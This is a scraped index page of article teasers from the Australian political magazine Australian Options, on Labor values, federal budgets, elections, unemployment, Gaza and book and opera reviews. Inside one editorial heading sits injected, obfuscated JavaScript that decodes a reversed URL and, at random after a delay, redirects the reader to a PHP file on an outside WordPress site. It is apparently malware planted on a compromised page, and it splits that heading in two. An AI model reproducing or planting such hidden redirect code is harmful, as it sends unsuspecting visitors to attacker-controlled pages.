John Langmore on Labor Values

Re-imagining Labor’s Vision for a Flourishing Australia[1] John Langmore   The ALP was established ‘to create a better, fairer life for working people’.  From this foundation Labor’s values, policy and practice have evolved and expanded in response to national and international political, social, economic and cultural forces.  The Party has been a predominantly pragmatic organisation led by practical people committed to a more...

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Frank Stilwell on the The UK Election

THE UK ELECTION: reflections on a tarnished Tory Triumph   Frank Stilwell reports from the UK on the General Election on 8th May that, surprising most pundits and deeply disappointing Labour supporters, gave renewed momentum to the Conservative party.     It was interesting to be in the UK for the general election during May of this year. British governments get a 5-year term, so whoever wins stays in office for a substantially...

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Max Ogden on the ALP & Social Democracy

The ALP Is Not Social Democratic but Should Be Max Ogden   The ALP is not a social democratic party. As the moves for party reform gather momentum, the party’s history and identity needs to be better understood since these make change difficult. The Australian Labor Party, and others of the English speaking countries, are better described as labourist, compared with the social democratic parties such as those in Germany, Sweden, Finland,...

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Vale Joan Kirner

Vale Joan Kirner   Claire Moore   There have been many public statements about the life and achievements of Joan Kirner…daughter, sister, teacher, partner, mother, environment activist, politician, minister, premier, feminist, rock icon….she made a real difference, and influenced lives and policy.   At her beautiful memorial service at the wonderful Williamstown Town Hall, which she loved dearly and was the scene of many...

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Editorial Issue No 81: The Scandal of Unemployment

Editorial Issue No 81: The Sc$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andal of Unemployment

The Federal Budget and the scandal of unemployment   All budgets are essentially fictions as they are based upon projections about an unknowable future: annual rates of GDP growth, levels of taxation revenue, iron ore prices etc. Yet the budgets delivered by this government are beginning to feel more like an episode of Game of Thrones than a credible economic exercise, so divorced are their stated justifications and underlying assumptions...

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Editorial Issue No 80 Renewing Australia’s politics

Editorial Issue No 80 Renewing Australia’s politics

Renewing Australia's politics   The neoliberal pipedream of a Free Market Nirvana is in trouble, even on its own terms. The unfettered free market does not deliver social justice or ecological sustainability – but then it was never supposed to. The neoliberal project was fundamentally about reducing the space for politics - making 'dollar votes' in the market more important than the electoral votes of citizens.   Despite the failures...

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Editorial Issue 79 – The state in the states

Editorial  Issue 79 – The state in the states

The State in the States   An ALP Government was elected in Victoria in November 2013. Elections are due in NSW and Queensland in early 2014. The result in Victoria, where a first-term Coalition Government was replaced, has alarmed the Federal Abbott Government and raised Labor hopes. Change of government seems unlikely in either NSW or Queensland, although Premier Newman might lose his own seat.   Electoral frissons aside, State...

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A Question of Political Will

A Question of Political Will Jenny McAllister In 2006, Sheri Berman put the case that “the ideology that triumphed in the twentieth century was not liberalism… it was social democracy.” As the Abbott Government commences a full scale assault on the social democratic institutions which have defined Australian national life, Berman’s bullish assessment provokes the obvious counterpoint – Ah yes, but what of the 21st century? For the...

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Editorial Issue 78 The unseemly rush to a war without end

Editorial Issue 78 The unseemly rush to a war without end

The unseemly rush to a war without end   Once again, we rush to war in the wake of a Great Power – all too early, too easy, too eager, too unheeding of the lessons of previous interventions in the Middle East.   The irony is seemingly lost on Tony Abbott and his ministers that those earlier interventions bear a large share of responsibility for the situation we now have. Those who will not learn from history are condemned to repeat...

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Editorial Issue 77 The 2014 Budget; how to be cruel to be unkind

Editorial Issue 77 The 2014 Budget; how to be cruel to be unkind

The first budget of the Abbott-led Coalition will be remembered for its politics and not its economics. Despite very loud rhetoric about debt and deficit, the macroeconomic settings left by Labor are little changed. The last Swan budget of 2013 forecast a budget deficit of A$18 billion in 2013-14, moving to a surplus in 2015-16. The Hockey budget of 2014 shows a deficit $29.8 billion for this year with the move to surplus being put back to...

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What’s Hot and What’s Not: the Australian Options online digest Issue 9 July 2014

The Australian Options online digest - July 2014 - What’s Hot and What’s NotPreview Be Sociable, Share! ...

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Gaza Ceasefire Now!

Gaza: Ceasefire Now! On 14 July 2014, the International Trade Union Confederation, representing 176 million workers around the globe, issued a call for an immediate ceasefire in the fighting between Israel and Palestinians in Gaza. The ITUC expressed its full support for the UN Security Council resolution calling for "de-escalation of the situation, restoration of calm, reinstitution of the November 2012 ceasefire and respect for international...

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A new model for fairness in employment

A new model for fairness in employment    John Buchanan  The reality of work in contemporary Australia is hugely different from the conventional narrative that everyone who wants a good job can get one. Instead, limited private sector job growth and deteriorating job security are making employment economically and socially unsustainable. Employment is now the bearer of inequality and unfairness. Output per worker has nearly doubled over the...

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Equality and sustainability: Fundamental to the Australian way of life

Equality and sustainability: Fundamental to the Australian way of life Adam Bandt In this country, we value our work-life balance. In the beautiful land of the ‘fair go’, we traditionally value our time outside work and look after each other. Our country is defined by the beauty of our surroundings, land, sea and air. When we’ve finished work, we go out and enjoy the country. And we have put in place structures and systems, like...

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Debts and Deficits: A Primer

Debts and Deficits: A Primer by Jim Stanford   Introduction: Never Let a Crisis Go to Waste  By any yardstick – international, historical, financial – Australia’s public finances are strong and stable.  There is no question about government’s ability to pay its bills.  Indeed, government could certainly mobilize additional resources to finance expanded public sector activity, if Australians decided that was appropriate.   But...

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Labor Scrapes Back for a Fourth Term in SA

Labor Scrapes Back for a Fourth Term in SA  John Wishart and Jack Humphrys The Result The ALP has won a fourth term after 12 years in office. It will rely on the support of Port Pirie Independent Jeff Brock. Labor won 23 seats, the Liberals 22 and 2 sitting independents were returned. Bob Such, the second independent is likely to support the ALP Government, although he has yet to commit and has dramatically taken a 2 month leave of absence...

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There is still distinct disadvantage in Australia

There is still distinct disadvantage in Australia Dr Valerie Cooms* In the 1960s and 1970s, while Aboriginal people in Queensland were suffering from disease and malnutrition, having their under-award wages confiscated, or being jailed for being lazy, idle, careless or leaving gates open, their bins unwashed or committing adultery, newly decolonised Asian, African, and Pacific nations were watching. For a settler colony like Australia to be...

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Rigoletto; two performances reviewed

Rigoletto2 Michael Browne In March and April I had an opportunity to revisit Rigoletto in two productions. In Brisbane, Opera Queensland restaged a production Lindy Hume had originally directed for New Zealand Opera. Opera Australia premiered their new production of Rigoletto in Melbourne. Musically, the two productions had everything in common – wonderful casts, thrilling singing and superb orchestras in the pit. However, the two...

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Challenging the Orthodoxy: Reflections on Frank Stilwell’s Contribution to Political Economy

Schroeder, Susan K and Lynne Chester eds (2014) Challenging the Orthodoxy: Reflections on Frank Stilwell’s Contribution to Political Economy. Springer: Heidelberg, New York, Dordrecht and London. Readers of Australian Options will be familiar with the work of Sydney political economist Professor Frank Stilwell. This edited book is the outcome of a conference in April 2013 to celebrate and acknowledge Stilwell’s immense contributions to...

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Review of Dog Days Australia After the Boom

Dog Days Australia After the Boom By Ross Garnaut Reviewed by Graham Larcombe Ross Garnaut is one of Australia’s most well-known conventional economists. Unlike many of his academic peers, Garnaut has actively contributed to many of our most complex economic debates including resource taxation, economic liberalization and deregulation, maximizing national benefits associated with the rapid growth of China, and what economic tools should be...

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On the Road to Recognition

On the Road to Recognition Tanya Hosch, deputy campaign director for the growing movement to recognise Aboriginal and Torres Strait Islander peoples in Australia’s Constitution, explains why recognition and removing discrimination from our national rule book matters to every Australian.   On one of the late lingering days of autumn last May, two thousand people turned up to Melbourne’s Federation Square to hear some speeches about a...

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The Abbott Government’s Damning Record

The Abbott Government’s Damning Record  Harold Levien   During the six months since the Coalition achieved government it has pursued an extraordinary mix of behaviours and policies.  Its inaction to major economic events has had disastrous impacts on the future of the economy. It has amended or attempted to remove legislation of the previous government, including the attempted emasculation of the Labor Government’s climate change...

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Editorial: Issue No 76 May 2014

Editorial: Issue No 76 May 2014

Editorial: Out of the West The results of the re-run of the senate election in Western Australia were mixed. Clive Palmer outspent everyone and won a seat; the Greens outspent everyone but Palmer and also won a seat. Labor disrupted themselves and suffered a swing of 5.2 per cent; the Coalition campaigned on the repeal of the carbon tax and the mining tax and suffered a swing of 7.3 per cent. Perhaps the two most important aspects are what it...

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Unravelling universalism in the Budget; Plus vote for the world’s worst boss.

The importance of being earnest By Frank Barbaro Treasurer Joe Hockey’s 2014 Budget delivery on Tuesday 12 May was an earnest public display befitting a solemn and grave task. When announcing government decisions, that widen and deepen misery, anything else would have been unfitting. The privileged are always good at expressing feeling about the pain they cause for others. Budget night’s mood...

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On-line Digest May 2014

Issue 8 May  2014 What’s Hot and What’s Not: the Australian Options online digest The  May edition of the Australian Options Magazine will be  published in the second week of May  2014 with the theme of  Organising for Fairness and the Environment. Articles include Cam Walker on the grassroots success of Lock the Gate, Andrew Dittmer on union strategy, Valerie Cooms on Aboriginal disadvantage, John Buchnan on fairness in...

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The great mistakes: Paul Howes vs social democracy

Paul Howes vs social democracy by Geoff Dow AWU National Secretary Paul Howes announced his resgnation as National Secretary of the Australian Workers' Union in late March. He is  looking for opportunities outside the movement. A 'profile' in the Australian Financial Review coincided with his announcement. According to the profile, Howes vision for the labour movement is to 'embrace capitalism'; similarly, he says that unions 'need to embrace...

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The Great Leap Backward: Criminal Law Reform with the Hon Jarrod Bleijie

Australian Options has published two previous articles about the VLAD Act in Queensland. A comprehensive review and critique of the approach to criminal law reform in Queensland has been published in the Sydney Law Review by Andrew Trotter and Harry Hobbs.   As their asbstract says This article places the reforms in their historical context to illustrate that together they constitute a great leap backward that unravels centuries of gradual...

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Why does Australia need manufacturing industry? .

WHY DOES AUSTRALIA NEED MANUFACTURING INDUSTRY?   Phillip Toner and Frank Stilwell   Australian manufacturing is suffering from a deep-seated and long-standing malaise. The high value of the Australian dollar in the last few years has made it difficult for Australian producers to compete in world markets, so exports have been struggling while domestic markets have been eroded by cheaper imports. The dollar’s fall in recent months has...

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Peace Convergence
 April 20 – 25, 2014 Canberra

    Peace Convergence
 April 20 – 25 2014 Canberra Independent and Peaceful Australian Network
 IPAN is a network of organisations and peace activists from all regions of Australia who are united by our support for an independent Australian foreign policy based on peaceful resolution of conflicts. Website: http://www.ipan.org.au Facebook: www.facebook.com/IndependentAndPeacefulAustraliaNetwork We’re interested in building a...

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